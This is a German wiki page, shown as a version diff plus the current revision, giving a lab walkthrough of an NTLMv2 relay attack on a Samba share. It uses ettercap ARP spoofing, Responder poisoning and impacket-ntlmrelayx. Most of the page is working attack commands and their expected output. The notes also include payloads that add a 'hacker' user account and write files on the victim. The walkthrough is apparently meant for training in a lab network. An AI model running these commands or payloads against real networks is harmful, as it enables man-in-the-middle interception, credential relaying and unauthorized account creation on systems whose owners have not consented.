NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
← Zum vorherigen VersionsunterschiedZum nächsten Versionsunterschied →
Keine Bearbeitungszusammenfassung
Zeile 9: Zeile 9:
! System !! IP-Adresse !! Rolle
! System !! IP-Adresse !! Rolle
|-
|-
| Kali Linux || 10.0.10.101 || Angreifer (Responder, ntlmrelayx, ettercap)
| Kali Linux || 10.0.10.101 || Angreifer (ettercap, responder, ntlmrelayx)
|-
|-
| Windows 10 || 10.0.10.102 || Opfer (NTLM-fähig, ungehärtet)
| Windows 10 || 10.0.10.102 || Opfer (NTLM-fähig, ungehärtet)
|-
|-
| Samba-Server || 10.0.10.104 || Zielsystem für Relay (kein SMB Signing)
| Samba-Server || 10.0.10.104 || Relay-Ziel (kein SMB Signing aktiviert)
|}
|}


== Vorbereitung auf Kali (10.0.10.101) ==
== Vorbereitung auf Kali (10.0.10.101) ==
=== Relay-Verzeichnis erstellen ===
* Relay-Share vorbereiten:
* Ein Verzeichnis vorbereiten, das als SMB-Share-Inhalt übergeben wird:
  mkdir -p ~/relay-share
  mkdir -p ~/relay-share
  echo "Owned by Kali" > ~/relay-share/pwned.txt
  echo "Owned by Kali" > ~/relay-share/pwned.txt
* Responder konfigurieren:
nano /etc/responder/Responder.conf
* Abschnitt [SMB] ändern:
[SMB]
SMB = Off
* Damit Responder nicht selbst den SMB-Port (445) blockiert – sonst funktioniert ntlmrelayx nicht!


== Angriffsdurchführung auf Kali (10.0.10.101) ==
== Angriffsdurchführung auf Kali (10.0.10.101) ==
=== ARP-Spoofing mit Ettercap ===
=== ARP-Spoofing zwischen Opfer und Zielserver ===
* Zielgerät in MITM bringen:
  ettercap -Tq -i eth0 -M arp /10.0.10.102// /10.0.10.104//
  ettercap -Tq -i eth0 -M arp /10.0.10.102// /10.0.10.104//


=== Responder starten ===
=== Responder starten (nur als Spoofer) ===
* LLMNR/NBNS-Spoofing aktivieren, aber SMB deaktivieren:
  responder -I eth0 -w
  responder -I eth0 -wrf --no-smb --no-dhcp


=== ntlmrelayx starten ===
=== ntlmrelayx starten ===
* Hash wird empfangen und an das Ziel relayed:
  impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i ~/relay-share --no-wcf-server --no-ldap
  impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i ~/relay-share --no-wcf-server --no-ldap


== Aktion auf dem Windows-Client (10.0.10.102) ==
== Aktion auf dem Windows-Client (10.0.10.102) ==
* Windows Explorer öffnen und in die Adresszeile eingeben:
* Windows Explorer öffnen und folgendes eingeben:
   \\irgendwas\test
   \\irgendwas\test


ODER:
ODER:


* In der Eingabeaufforderung ausführen:
* In der Eingabeaufforderung:
   dir \\irgendeinserver\c$
   dir \\irgendeinserver\c$


== Ergebnis auf Kali (10.0.10.101) ==
== Ergebnis ==
* Auf dem SMB-Ziel (10.0.10.104) befindet sich im Share die Datei „pwned.txt“.
* Die Datei „pwned.txt“ wird über ntlmrelayx auf dem Samba-Share (10.0.10.104) abgelegt.
* In ntlmrelayx erscheint:
* In ntlmrelayx erscheint:
   [*] SMB relay attack successful...
   [*] SMB relay attack successful...
Zeile 51: Zeile 56:


== Hinweise ==
== Hinweise ==
* Kein IP-Forwarding notwendig, da Ettercap auf Layer 2 arbeitet.
* Kein IP-Forwarding notwendig – Ettercap leitet Layer 2 Pakete direkt weiter.
* Funktioniert nur, wenn SMB-Signing auf dem Ziel deaktiviert ist.
* SMB muss in Responder deaktiviert werden, sonst blockiert er Port 445.
* Kann erweitert werden mit:
* ntlmrelayx kann alternativ Kommandos ausführen:
   --command "net user hacker 1234 /add"
   --command "net user hacker 1234 /add"
  oder
   --command "cmd.exe /c echo PWNED > C:\pwned.txt"
   --command "cmd.exe /c echo PWNED > C:\pwned.txt"

Version vom 18. Mai 2025, 14:21 Uhr

ARP-Spoofing & NTLMv2-Relay gegen SMB-Zielserver

Zielsetzung

Ein Windows-10-Client (10.0.10.102) wird per ARP-Spoofing in einen Man-in-the-Middle gebracht. Anschließend wird mittels LLMNR/NBNS-Spoofing durch Responder ein NTLMv2-Hash abgefangen und mit ntlmrelayx an einen Samba-Server (10.0.10.104) weitergeleitet, um dort eine Datei hochzuladen.

Umgebung

System IP-Adresse Rolle
Kali Linux 10.0.10.101 Angreifer (ettercap, responder, ntlmrelayx)
Windows 10 10.0.10.102 Opfer (NTLM-fähig, ungehärtet)
Samba-Server 10.0.10.104 Relay-Ziel (kein SMB Signing aktiviert)

Vorbereitung auf Kali (10.0.10.101)

  • Relay-Share vorbereiten:
mkdir -p ~/relay-share
echo "Owned by Kali" > ~/relay-share/pwned.txt
  • Responder konfigurieren:
nano /etc/responder/Responder.conf
  • Abschnitt [SMB] ändern:
[SMB]
SMB = Off
  • Damit Responder nicht selbst den SMB-Port (445) blockiert – sonst funktioniert ntlmrelayx nicht!

Angriffsdurchführung auf Kali (10.0.10.101)

ARP-Spoofing zwischen Opfer und Zielserver

ettercap -Tq -i eth0 -M arp /10.0.10.102// /10.0.10.104//

Responder starten (nur als Spoofer)

responder -I eth0 -w

ntlmrelayx starten

impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i ~/relay-share --no-wcf-server --no-ldap

Aktion auf dem Windows-Client (10.0.10.102)

  • Windows Explorer öffnen und folgendes eingeben:
 \\irgendwas\test

ODER:

  • In der Eingabeaufforderung:
 dir \\irgendeinserver\c$

Ergebnis

  • Die Datei „pwned.txt“ wird über ntlmrelayx auf dem Samba-Share (10.0.10.104) abgelegt.
  • In ntlmrelayx erscheint:
 [*] SMB relay attack successful...
 [*] Uploaded file pwned.txt to share

Hinweise

  • Kein IP-Forwarding notwendig – Ettercap leitet Layer 2 Pakete direkt weiter.
  • SMB muss in Responder deaktiviert werden, sonst blockiert er Port 445.
  • ntlmrelayx kann alternativ Kommandos ausführen:
 --command "net user hacker 1234 /add"
 --command "cmd.exe /c echo PWNED > C:\pwned.txt"
Abgerufen von „http://wiki.xinux.net/index.php?title=NTLM-Relay_auf_Samba-Freigabe_mit_Impacket&oldid=63141“